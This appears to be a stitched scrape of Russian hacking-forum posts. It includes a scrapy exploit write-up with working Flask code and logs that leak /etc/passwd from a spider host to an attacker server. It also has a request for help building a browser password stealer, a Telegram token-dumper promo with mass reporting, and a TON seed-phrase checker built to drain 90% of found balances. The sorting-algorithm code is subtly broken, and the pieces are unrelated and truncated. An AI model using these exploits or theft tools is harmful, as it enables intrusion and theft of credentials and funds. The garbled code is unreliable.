>>> g = Grab()
>>> g.setup(hammer_mode=True, hammer_timeouts=((1, 1), (2, 2), (30, 30)))
>>> URL = 'http://download.wikimedia.org/enwiki/20110803/enwiki-20110803-stub-articles5.xml.gz'
>>> g.go(URL, method='head')
DEBUG:grab:[01] HEAD http://download.wikimedia.org/enwiki/20110803/enwiki-20110803-stub-articles5.xml.gz
>>> print 'File size: %d Mb' % (int(g.response.headers['Content-Length']) / (1024 * 1024))
File size: 3 Mb
>>> g.go(URL, method='get')
DEBUG:grab:[02] GET http://download.wikimedia.org/enwiki/20110803/enwiki-20110803-stub-articles5.xml.gz
DEBUG:grab:Trying another timeouts. Connect: 2 sec., total: 2 sec.
DEBUG:grab:[03] GET http://download.wikimedia.org/enwiki/20110803/enwiki-20110803-stub-articles5.xml.gz
DEBUG:grab:Trying another timeouts. Connect: 30 sec., total: 30 sec.
DEBUG:grab:[04] GET http://download.wikimedia.org/enwiki/20110803/enwiki-20110803-stub-articles5.xml.gz
>>> print 'Downloaded: %d Mb' % (len(g.response.body) / (1024 * 1024))
Downloaded: 3 Mb
Django-расширение (grab.ext.django)
Да-да. Есть и такое
Допустим, у вас есть модель Movie с ImageField-полем picture
. Вот как можно
скачать картинку и сохранить её в объект Movie.
Python:Copy to clipboard
>>> obj = Movie.objects.get(pk=797)
>>> g = Grab()
>>> g.go('http://img.yandex.net/i/www/logo.png')
>>> obj.picture = g.django_file()
>>> obj.save()
Что есть ещё в Grab?
Есть и другие фишки, но я боюсь, что статья слишком большая получится. Главное правило пользователя библиотеки Grab — если что-то непонятно, нужно смотреть в код. Документация пока слабая
Актуальная документация содержится по адресу:docs.grablib.org/
Актуальный проект сайта: grablib.org
Оригинал (h[dot]s://habr.com/ru/post/127584/)
Опубликовал на XSS: SeveralBear
Эта статья снова основана на scrapy (версия 1.6.0 ), и я покажу две методики утечки файлов с хоста паука, однако это не так просто, так как веб-сайт должен соответствовать определенным требованиям, чтобы эта эксплуатация была успешной. Давайте начнем!
Структура сайта
Веб-сайты возвращают данные в нескольких форматах ( html, xml, json, csv, plaintext и т. Д.
), и у эксплуатации, описанной в этой статье, существует
тесная связь между форматом данных и структурой веб-сайта. Я собираюсь
упростить сценарий, выбирая формат данных plaintext
, так как:
1. Если это не соответствует формату (по сравнению с , т.е. JSON ), то паук
более терпим к обработке различных данных (ожидаемое содержимое по сравнению с
введенным содержимым).
2. Большинство файлов можно читать как текстовые файлы
3. Это будет ясно позже.
Исходя из моего первого решения о формате данных, веб-сайт должен отвечать следующим требованиям:
У него должна быть конечная точка, возвращающая текстовые данные, которые используются для выполнения следующих запросов. Неважно, какой тип данных возвращают остальные конечные точки.
Click to expand...
Например, это может быть веб-сайт с конечной точкой карты сайта категории, которая возвращает список категорий, а затем паук запрашивает каждую из этих категорий.
Случай 1
Продолжая предыдущую идею, наш первый случай может быть нарисован именно под
предпосылкой:
1. /sitemap
содержит список категорий на сайте. Это список в виде простого
текста, каждая категория которого разделена новой строкой (в виде plaintext ).
2. / category? name = <category>
возвращает количество товаров в
категории.
Используя
Flask
, мы можем создать веб-приложение, работающее по адресу http: //dangerous.tld,
и основной код будет выглядеть следующим образом:
Code:Copy to clipboard
import random
from flask import Flask, jsonify
app = Flask(__name__)
@app.route("/sitemap")
def sitemap():
""" Return category list """
categories = ["home", "kitchen", "sports", "beauty"]
return "\n".join(categories)
@app.route("/category")
def category():
return jsonify({"n_products": random.randint(0, 100)})
Если мы хотим получить количество продуктов, нам нужно создать паука- скрапа, например:
Code:Copy to clipboard
import json
import scrapy
from scrapy.http import Request
class CategorySpider(scrapy.Spider):
name = "category_spider"
allowed_domains = ["dangerous.tld"]
start_urls = ["http://dangerous.tld/sitemap"]
def parse(self, response):
for category in response.body.decode().splitlines():
yield Request(
f"http://dangerous.tld/category?name={category}", self.parse_category
)
def parse_category(self, response):
json_data = json.loads(response.body.decode())
return json_data
Этот паук переходит в конечную точку /sitemap
, получает список категорий и
запрашивает страницу каждой из них, получая количество товаров в каждой
категории. Это вывод паука:
Code:Copy to clipboard
2019-07-15 09:47:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/sitemap> (referer: None)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/sitemap)
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 68}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 2}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 3}
2019-07-15 09:47:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 29}
2019-07-15 09:47:09 [scrapy.core.engine] INFO: Closing spider (finished)
Все работает хорошо, но как насчет того, чтобы сайт стал злостным актером?
Наш старый друг, перенаправь!
Как упоминалось в нашей предыдущей статье, есть проблема с
[OffsiteMiddleware](https://translate.google.com/translate?hl=ru&prev=_t&sl=auto&tl=ru&u=https://docs.scrapy.org/en/latest/topics/spider-
middleware.html%3Fsource%3Dpost_page---------------------------%23scrapy.spidermiddlewares.offsite.OffsiteMiddleware#scrapy.spidermiddlewares.offsite.OffsiteMiddleware)
и, по моим словам:
Тем не менее, интересное поведение происходит, когда есть запрос на страницу в разрешенном домене, но перенаправляет на недопустимый домен , так как он не будет отфильтрован и будет обработан пауком.
Click to expand...
Хорошо, будучи злоумышленником, я мог изменить веб-приложение, чтобы создать
перенаправление с конечной точки /sitemap
на URL-адрес по своему выбору.
Когда паук запускается, он запрашивает конечную точку /sitemap
и следует за
перенаправлением, затем в методе parse
он разбивает ответ по строкам и
фильтрует содержимое в / category? Name = <line>
, используя столько
запросов, сколько строк в ответе.
Какой должен быть URL? Это своего рода
SSRF
(или, как я назвал « Подделка запросов со стороны паука »), тогда мы имеем:
1. Если паук работает в облаке, URL может быть URL-адресом
метаданных
.
2. Местные службы (как я делал в предыдущем посте)
3. Серверы локальной сети
Что-то другое? scrapy пытается имитировать поведение большинства
браузеров, но это не настоящий браузер. Как он поддерживает запрос https
или
s3
URL? Он использует обработчики
загрузчиков,
а также обработчик
файлов
. Это позволяет поддерживать файловый протокол, тогда file:///etc/passwd
является действительным URI, который будет преобразован в /etc/passwd
в
файловой системе паука .
Можем ли мы перенаправить /sitemap
в file:///etc/passwd
и отфильтровать
этот файл? Да, мы преобразовываем это в SSRF + LFI.
Теперь мы модифицируем наше вредоносное приложение, чтобы оно выглядело так:
Code:Copy to clipboard
@app.route("/sitemap")
def sitemap():
""" Return category list """
return redirect("file:///etc/passwd")
При запуске паука на сервере мы получим следующий вывод:
Code:Copy to clipboard
...]
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=rtkit:x:106:112:RealtimeKit,,,:/proc:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=uuidd:x:105:111::/run/uuidd:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=_apt:x:104:65534::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=messagebus:x:103:107::/nonexistent:/usr/sbin/nologin HTTP/1.1" 200 -
127.0.0.1 - - [14/Jul/2019 11:34:41] "GET /category?name=syslog:x:102:106::/home/syslog:/usr/sbin/nologin HTTP/1.1" 200 -
[...]
С нашим вредоносным приложением мы успешно удалили файл /etc/passwd
с хоста
паука. Поскольку конечная точка category
возвращает ответ JSON
, не
заботясь о вводе, паук пропускает файл и не вызывает никаких ошибок. Какие
другие конфиденциальные файлы доступны?
1. /proc/self/environ
2. Файлы в /etc
3. Файлы типа /.dockerenv
, если они существуют
С этим пауком, чтобы получить закрытый ключ SSH, нам понадобится два запуска
паука: один для получения /etc/passwd
, чтобы получить локального
пользователя, а второй для попытки /home/<user>/.ssh/id_rsa
. Я сделал нечто
подобное в 2014 году в посте « [Эксплуатация
скребк](https://translate.google.com/translate?hl=ru&prev=_t&sl=auto&tl=ru&u=https://medium.com/spect/exploiting-
the-scraper-756a0981ed12%3Fsource%3Dpost_page---------------------------)и».
На самом деле, все зависит от комбинации структуры сайта + паука, сколько информации вы можете получить, и сколько пауков потребуется для этого. В худшем случае вы можете создать вредоносное приложение, которое создаст порочный круг и отфильтрует большое количество файлов за один запуск.
Click to expand...
Важно отметить: поскольку scrapy выполняет асинхронные запросы, мы не можем гарантировать целостность отфильтрованного файла. Например, если мы exfiltrate файл, как частный ключ SSH, который содержит около 27 строк, мы получим его содержимое в случайном порядке, и нам придется как-то изменить порядок (я думаю, bruteforce), чтобы получить оригинальный файл.
Вариант 2
Теперь мы собираемся изменить веб-приложение. Иногда нам приходится посещать
страницу, чтобы получить информацию на стороне сервера, необходимую для
следующих шагов. В этом случае веб-приложение сгенерирует токен в /token_sitemap
, который нам нужно добавить к следующим запросам в
/token_category
. Вот новое приложение:
Code:Copy to clipboard
import random
import secrets
from flask import Flask, abort, jsonify, render_template, request
app = Flask(__name__)
TOKEN = secrets.token_hex(20)
@app.route("/token_sitemap")
def token_sitemap():
return render_template(
"first.html",
url=f"http://dangerous.tld/token_category?token={TOKEN}&category=home",
)
@app.route("/token_category")
def token_category():
token = request.args.get("token")
if not token or token != TOKEN:
abort(401)
categories = ["home", "kitchen", "sports", "beauty"]
return "\n".join(categories)
@app.route("/category")
def category():
return jsonify({"n_products": random.randint(0, 100)})
Шаблон first.html
прост, он повторяет параметр url
в теге anchor
:
Code:Copy to clipboard
<!doctype html>
<title>follow the link</title>
<body>
<a href="{{ url }}">click!</a>
</body>
Паук для этого нового сайта должен быть таким:
Code:Copy to clipboard
import json
import scrapy
from scrapy.http import Request
class TokenCategorySpider(scrapy.Spider):
name = "token_category_spider"
allowed_domains = ["dangerous.tld"]
start_urls = ["http://dangerous.tld/token_sitemap"]
def parse(self, response):
next_url = response.xpath("//a/@href").extract_first()
yield Request(next_url, self.parse_sitemap)
def parse_sitemap(self, response):
for category in response.body.decode().splitlines():
yield Request(
f"http://dangerous.tld/category?name={category}", self.parse_category
)
def parse_category(self, response):
json_data = json.loads(response.body.decode())
return json_data
В parse
он использует селектор
XPath
для получения полного URL-адреса (включая токен) из тела ответа и
запрашивает его. Паук работает и получает количество продуктов в категории.
Code:Copy to clipboard
2019-07-14 16:53:09 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home> (referer: http://dangerous.tld/token_sitemap)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=beauty> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=sports> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kitchen> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=home> (referer: http://dangerous.tld/token_category?token=394e26b9a7e6fa1a5adccb9c443965252f7ae6a4&category=home)
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=beauty>
{'n_products': 49}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=sports>
{'n_products': 65}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=kitchen>
{'n_products': 90}
2019-07-14 16:53:09 [scrapy.core.scraper] DEBUG: Scraped from <200 http://dangerous.tld/category?name=home>
{'n_products': 30}
2019-07-14 16:53:09 [scrapy.core.engine] INFO: Closing spider (finished)
Давайте теперь будем злыми!
В нашем приложении в конечной точке token_sitemap
мы передаем URL в шаблон.
Что если мы изменим этот URL-адрес на file:///etc/passwd
? Это изменение:
Code:Copy to clipboard
@app.route("/token_sitemap")
def token_sitemap():
return render_template("first.html", url="file:///etc/passwd")
Запустив паука (всегда в режиме отладки ) я получаю следующий вывод:
Code:Copy to clipboard
2019-07-14 13:38:05 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 13:38:05 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 13:38:05 [scrapy.core.engine] INFO: Closing spider (finished)
Ничего не случилось. Если мы вручную рассмотрим конечную точку, вот ответ:
Code:Copy to clipboard
HTTP/1.0 200 OK
Content-Length: 103
Content-Type: text/html; charset=utf-8
Date: Sun, 14 Jul 2019 11:42:56 GMT
Server: Werkzeug/0.15.2 Python/3.7.3
<!doctype html>
<title>follow the link</title>
<body>
<a href="file:///etc/passwd">click!</a>
</body>
Он правильно извлекается пауком, и запрос создается, но он не достигает вредоносного веб-сервера и не выдает никаких сообщений об ошибках. Мы должны копаться в этом.
Отладка
Моим первым подозреваемым было
[OffsiteMiddleware,](https://translate.google.com/translate?hl=ru&prev=_t&sl=auto&tl=ru&u=https://docs.scrapy.org/en/latest/topics/spider-
middleware.html%3Fsource%3Dpost_page---------------------------%23scrapy.spidermiddlewares.offsite.OffsiteMiddleware#scrapy.spidermiddlewares.offsite.OffsiteMiddleware)
потому что в случае с перенаправлением мы его избегаем, но, может быть, мы
сейчас его достигаем , и поэтому запрос к file:///etc/passwd
не выполнен.
Это тоже странно, потому что это промежуточное ПО обычно показывает внешние
сообщения, но не в этом случае. Полный файл промежуточного кода
здесь
, но мы будем рассматривать только интересные детали:
Code:Copy to clipboard
def process_spider_output(self, response, result, spider):
for x in result:
if isinstance(x, Request):
if x.dont_filter or self.should_follow(x, spider):
yield x
else:
domain = urlparse_cached(x).hostname
if domain and domain not in self.domains_seen:
self.domains_seen.add(domain)
logger.debug(
"Filtered offsite request to %(domain)r: %(request)s",
{'domain': domain, 'request': x}, extra={'spider': spider})
self.stats.inc_value('offsite/domains', spider=spider)
self.stats.inc_value('offsite/filtered', spider=spider)
else:
yield x
def should_follow(self, request, spider):
regex = self.host_regex
# hostname can be None for wrong urls (like javascript links)
host = urlparse_cached(request).hostname or ''
return bool(regex.search(host))
Аргумент result
содержит наш объект url=file:///etc/passwd
. В строке 4
есть проверка: первое условие x.dont_filter == False
, а второе условие -
логика, она находится в строке 18.
Короче говоря, should_follow()
проверяет , соответствует ли имя хоста URL
регулярному выражению host_regex
. Это регулярное выражение связано с
атрибутом allow_domains
в пауке, затем оно проверяет, является ли имя хоста
url
опасным. Tld
или его поддомен. Из консоли Python у нас есть это:
Code:Copy to clipboard
In [1]: print(urlparse("file:///etc/passwd").hostname)
None
Наш url=file:///etc/passwd
не имеет имени хоста, тогда проверка не проходит.
Поток продолжается в строке 7, а строка 8 снова проверяет hostname
нашего
URL-адреса , так как значение None не вводит логику if, и поэтому
предупреждение о удаленном удалении не выдается scrapy. В любом случае наш
запрос будет отклонен.
Может ли URI
файлового протокола иметь имя хоста? Я не знал, но согласно
RFC
, да. Принимая это во внимание, наш новый URL становится
file://dangerous.tld/etc/passwd .
Code:Copy to clipboard
@app.route("/token_sitemap")
def token_sitemap():
return render_template("first.html", url="file://dangerous.tld/etc/passwd")
Запустив паука снова, мы можем увидеть журнал exfiltrating /etc/passwd
в
обход OffsiteMiddleware
:
Code:Copy to clipboard
[...]
2019-07-14 15:21:14 [scrapy.extensions.logstats] INFO: Crawled 0 pages (at 0 pages/min), scraped 0 items (at 0 items/min)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/token_sitemap> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET file://dangerous.tld/etc/passwd> (referer: http://dangerous.tld/token_si
temap)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=pulse:x:116:121:PulseAudio%20daemon,,
,:/var/run/pulse:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=colord:x:114:120:colord%20colour%20ma
nagement%20daemon,,,:/var/lib/colord:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=kernoops:x:115:65534:Kernel%20Oops%20
Tracking%20Daemon,,,:/:/usr/sbin/nologin> (referer: None)
2019-07-14 15:21:15 [scrapy.core.engine] DEBUG: Crawled (200) <GET http://dangerous.tld/category?name=whoopsie:x:113:119::/nonexistent:/bin
/false> (referer: None)
[...]
Выводы
Когда вы просматриваете веб-страницы, это происходит в одном направлении: паук
извлекает информацию с веб-сайта, а не наоборот. Тем не менее, при наличии
ряда факторов злоумышленники могут быть в состоянии отфильтровать данные с
хостов пауков, неожиданно ставя под угрозу конфиденциальную информацию.
На мой взгляд, уроки из этого поста:
1. Запускайте своих пауков в изолированной среде.
2. Проблема перенаправления является серьезной уязвимостью.
Я собираюсь сообщить об этих проблемах и начать сотрудничать, чтобы найти решение с командой scrapy. Я надеюсь, что в следующем посте у меня будут новости об этих проблемах и о том, как мы их исправим.
Сегодня расскажу про методы сортировки
В данной статье пойдет речь про:
Spoiler: Сортировка выбором
Сортировка выбором — здесь, чтобы отсортировать массив, находим элемент с минимальным значением, затем сравниваем его со значением первой неотсортированной позиции. Если этот элемент меньше, то он становится новым минимумом и их позиции меняются.
Пример реализации
Code:Copy to clipboard
def ssort(array):
for i in range(len(array)):
indxMin = i
for j in range(i+1, len(array)):
if array[j] < array[indxMin]:
indxMin = j
tmp = array[indxMin]
array[indxMin] = array[i]
array[i] = tmp
return a
Spoiler: Сортировка вставками
![](/proxy.php?image=https%3A%2F%2Fproglib.io%2Fwp-
content%2Fuploads%2F-000%2F%2F1%2F596b723189cb1_Zmjm3wv.gif&hash=9008b04a8f77831e5a5c3bc87f1a89ad)
Алгоритм примерно такой:
Код сортировки:
Code:Copy to clipboard
def isort(array):
for i in range(len(array)):
v = array[i]
j = i
while (array[j-1] > v) and (j > 0):
array[j] = array[j-1]
j = j - 1
array[j] = v
print array
return array
Spoiler: Bubble sort(Сортировка методом пузырька)
![](/proxy.php?image=https%3A%2F%2Fproglib.io%2Fwp-
content%2Fuploads%2F-000%2F%2F1%2F596b722779f8b_Yb6G53y.gif&hash=02358396af33bcbddda263f0ccfc4922)
Суть алгоритма в том, что совершается несколько проходов по массиву. При
проходе последовательно сравниваются пары элементов в массиве и в случае
несоответствия выбранному порядку меняются местами. Если пары элементов
находятся в верном порядке, то ничего не происходит. В результате первого
прохода максимальный элемент окажется в конце, то есть всплывет словно
пузырек. Затем все повторяется до того момента пока весь массив не будет
отсортирован.Последний проход будет по отсортированному массиву.
Пример кода:
Code:Copy to clipboard
def bubble_sort(array):
a = array
for i in range(len(a),0,-1):
for j in range(1, i):
if a[j-1] > a[j]:
tmp = a[j-1]
a[j-1] = a[j]
a[j] = tmp
print a
return a
Spoiler: Сортировка методом шелла
Сортировка Шелла является несколько измененным вариантом сортировки вставками.
Сортировка вставками является медленной из-за того, что совершает перемещения
только с соседними элементами, в отличии от сортировки Шелла, которая
позволяет быстро сделать обмен между элементами, которые находятся далеко друг
от друга.
Идея заключается в том, чтобы просматривать элементы беря каждый i тый элементы(начало откуда угодно). В результате мы получаем массив где каждый i-тый элемент отсортирован. Повторяя такую операцию с использованием меньших i, заканчивая 1 результатом будет отсортированный массив.
Code:Copy to clipboard
def Shell(A):
t = int(len(A)/2)
while t > 0:
for i in range(len(A)-t):
j = i
while j >= 0 and A[j] > A[j+t]:
A[j], A[j+t] = A[j+t], A[j]
j -= 1
t = int(t/2)
Spoiler: Быстрая сортировка
![](/proxy.php?image=https%3A%2F%2Fproglib.io%2Fwp-
content%2Fuploads%2F-000%2F%2F1%2F596b722a05151_A0eQUHL.gif&hash=2b1f255ccc41cce535a16ab8404553b9)
Одна из самых быстрых сортировок. Идея алгоритма заключается в том, что
выбирается опорный элемент, относительно которого будет происходит сортировка.
Равные и бОльшие элементы помещаются справа, меньшие – слева. Затем к
полученным подмассивам рекурсивно применяются два первых пункта.
Code:Copy to clipboard
def QuickPas(s, aL, aR):
l, r=aL, aR
mid = (s[l]+s[(l+r)/2]+s[r])/3
while lmid:r-=1
if l<=r:
if s[l]>s[r]:
s[l], s[r] = s[r], s[l]
l+=1
r-=1
if r>aL: QuickPas(s, aL, r)
if l<aR: QuickPas(s, l, aR)
Если у кого возник вопрос какая сортировка самая быстрая - это надо обращаться
к понятию о сложности алгоритма.
А пока - из предложенных быстрая сортировка показывает себя наилучшим образом.
Если было полезно или интересно ставь лайк!)
Еще нашел прикольный сайт с демонстрацией алгоритмов
автор @komodikus
Здравствуйте!
Решил попробовать написать стиллер, чтоб знания подтянуть, не подумайте) Делал
всё на примере единственного браузера которым пользуюсь на постоянке Яндекса.
В нём все пароли зашифрованы, как говорит сам яндекс "The password vault is
encrypted using the
AES-256-GCM
algorithm". Сначала была мысль брутить, но после понимания с чем имею дело -
забил.
Остаётся только искать ключи в системе, но вот вопрос, на который не могу
найти ответ - где они хранятся? Файлы браузера обыскал, вроде ничего не
нашёл.Вышел с этим вопросом в интернет - пусто. Есть предположения?
Когда речь идет о создании мощных и эффективных хакерских инструментов, большинство аналитиков по безопасности выбирают Python. Во втором издании бестселлера Black Hat Python вы исследуете темную сторону возможностей Python — все от написания сетевых снифферов, похищения учетных данных электронной почты и брутфорса каталогов до разработки мутационных фаззеров, анализа виртуальных машин и создания скрытых троянов.
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
When it comes to creating powerful and effective hacking tools, Python is the language of choice for most security analysts. In this second edition of the bestselling Black Hat Python , you’ll explore the darker side of Python’s capabilities: everything from writing network sniffers, stealing email credentials, and bruteforcing directories to crafting mutation fuzzers, investigating virtual machines, and creating stealthy trojans.
All of the code in this edition has been updated toPython 3.x. You’ll also find new coverage of bit shifting, code hygiene, and offensive forensics with the Volatility Framework as well as expanded explanations of the Python libraries ctypes, struct, lxml, and BeautifulSoup, and offensive hacking strategies like splitting bytes, leveraging computer vision libraries, and scraping websites.
](https://cloud.mail.ru/public/3whg/bs1DJ4Uqm)
Скачивайте файлы из папки или сохраняйте к себе в Облако
cloud.mail.ru
**Diamond
Dumper: Advanced Telegram Token Management
**This is still under development****
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fuser-
attachments%2Fassets%2Fe4f79a64-ee19-4151-86f7-913c77be13b5&hash=3da5257fd0a2a4d39e04aa5b1f9c3a7e)
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fuser-
attachments%2Fassets%2Ffd486f4e-959f-4831-b30a-bde635fcc3d6&hash=dc8364f1c1c35b5726b1f364d4c7e78e)
Feature| Description
---|---
Overview|
Diamond Dumper is a sophisticated Telegram token management utility, offering
a comprehensive suite of tools for power users and administrators. It combines
token management, session handling, and advanced reporting features in one
powerful package.
Core
Features|
1. Token
Management|
2. Integrated Session Manager|
3. Token Checker|
User
Interface| The sleek and intuitive interface provides easy access to all
features, ensuring efficient token and session management.
Advanced
Functions and Webhooks|
Integrated Telegram Bot|
Session Manager View|
TG Mass Reporting System|
Security and Compliance|
Customization and Extensibility|
Documentation and Support|
|
[th colspan="2"]Diamond
Dumper stands out as a robust, feature-rich solution for Telegram token
management, offering unparalleled control and efficiency for advanced users
and administrators.[/th]
![](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fuser-
attachments%2Fassets%2Fec46c43f-5587-4b3a-a145-4581b1692f08&hash=a50fa908c2ce620ae9b6fa177585f561)
---
Support Us
If you find
Diamond
Dumper useful and would like to support our development efforts, consider
making a donation!
Your contributions help us improve the tool and add new features.
Donation Addresses:
Cryptocurrency| Address
---|---
USDT (ERC20)| 0xC6AC9f96f5365005fc0515c61CA7Bc31612De598
USDT (TRC20)| TNzb4anVHyTX8hVDkRirBkMYGGvypJi23D
Bitcoin (BTC)| 32WjJxt7bgaJkDRLN79P7hhivtVp9XqZqa
Ethereum (ETH)| 0xC5602B7F93dA2EE66D676195fc4EC3aA30fe369f
Litecoin (LTC)| MPi4tRH9PDfbSqabS2i4RZyZieHZVer4Xt
Tron (TRX)| THAvPAwSzNubqajqwHovBwvHBgAk5BfDWx
Thank you for your support! Every contribution makes a difference!
Download: https://github.com/L33TSP3AK/Diamond-Dumper
Так как я начал изучение работы с блокчейном TON, я решил разработать несколько инструментов, которые могут быть полезны для участников форума. В этой статье будут представлены два программы: первая — чекер, проверяющий сид- фразы на валидность и наличие баланса, и вторая — программа для постоянного мониторинга балансов кошельков. Если на кошельке обнаруживается ненулевой баланс, программа будет автоматически производить вывод средств. Оба инструмента предназначены для работы с кошельками TON .
Для начала будут браться сид-фразы из txt.
Затем будет создаваться кошелек на основе сид-фразы.
После этого будет определяться баланс кошелька.
При проверке баланса будет несколько проверок, например, на случай, если
баланс нулевой или сид-фраза невалидная.
После проверки кошельков результаты проверки будут выводиться в консоль и
записываться в новый txt.
Будут браться сид-фразы из TXT файла.
Затем на их основе будут создаваться кошельки.
После этого будет проверка баланса на то, чтобы он не был нулевым.
Далее последует создание транзакции на сумму 90% от суммы на кошельке.
P.S. Весь этот софт будет работать в бесконечном цикле, так что программа
будет бесконечно проверять баланс и выведет сообщение, если он будет пополнен
на кошельках.
P.S.S. Все софты будут проверены только в тестовой сети из-за отсутствия TON.
Основной библиотекой для реализации задумки будет tonutils, а API будет
использоваться от tonconsole (TonapiClient) -
https://tonconsole.com/.
Получить TON в тестовой сети можно в этом телеграм-боте - @testgiver_ton_bot.
Чтобы корректно выводить и пополнять кошельки, потребуется их активировать
методом отправки TON друг другу (если для теста будут использованы новореги).
Чтобы узнать, активен ли кошелек, можете перейти по этой ссылке:
https://testnet.tonapi.io/v2/accounts/адрес_кошелька. На открывшейся
странице найдите ключ "status".
Первым будет реализован софт для проверки валидности и баланса, и сразу же нужно указать несколько переменных, в том числе не забыть указать API от tonconsole (TonapiClient).
Python:Copy to clipboard
from tonutils.client import TonapiClient
from tonutils.utils import to_amount
from tonutils.wallet import WalletV3R1
import asyncio
# Api ключ от tonconsole
api_key = ""
# Выбор сети
is_testnet = True
# Файл с фразами
file_path = "seed_phrases.txt"
# Файл для сохранения результатов
output_file = "balance_results.txt"
# Файл для валидных кошельков
valid_seeds_file = "valid_seed.txt"
Далее последует основная логика; она обязательно должна находиться внутри асинхронной функции, т.к. вызываемые из библиотеки tonutils методы асинхронные, и вызвать их не в асинхронной функции не получится.
Python:Copy to clipboard
async def main() -> None:
client = TonapiClient(api_key=api_key, is_testnet=is_testnet)
# Начальные значения переменных
total_balance = 0 # Общий баланс
wallets_with_balance = 0 # Кошельки с балансом больше нуля
wallets_with_zero_balance = 0 # Кошельки с нулевым балансом
failed_wallets = 0 # Кошельки с ошибками
Как видно из кода, первым делом инициализируется клиент TonAPI. Далее следуют переменные с нулевыми значениями; эти переменные нужны для того, чтобы в конце проверки сид-фраз создать статистику. Конструкция -> None здесь не обязательна, она нужна лишь для того, чтобы указать, что функция ничего не возвращает; в данном случае это просто улучшает читаемость кода.
Далее нужно открыть текстовый файл с сид-фразами и записать все сид-фразы в переменную.
Python:Copy to clipboard
with open(file_path, "r") as file:
# Запись сид-фраз, по одной в строку
seed_phrases = [line.strip().split() for line in file]
total_wallets = len(seed_phrases) # Общее количество кошельков
Затем следует основная логика, которая заключается в создании кошелька из сид- фразы, проверке баланса и записи результатов в TXT.
Python:Copy to clipboard
# Открытие файлов для записи результатов
with open(output_file, "w") as outfile, open(valid_seeds_file, "w") as valid_file:
# Обработка каждой сид-фразы
for seed in seed_phrases:
try:
# Создание кошелька на основе сид-фразы
wallet, public_key, private_key, mnemonic = WalletV3R1.from_mnemonic(client, seed)
# Проверка баланса
balance = await wallet.balance()
balance_amount = to_amount(balance)
# Запись валидной сид-фразы в файл
valid_file.write(" ".join(seed) + "\n")
# Подсчет статистики
total_balance += balance_amount
if balance_amount > 0:
wallets_with_balance += 1
else:
wallets_with_zero_balance += 1
# Запись результата в файл
outfile.write("======================\n")
outfile.write(f"Сид-фраза: {' '.join(seed)}\n")
outfile.write(f"Баланс: {balance_amount}\n")
print(f"Баланс для сид-фразы {' '.join(seed)}: {balance_amount}")
except KeyError as e:
failed_wallets += 1
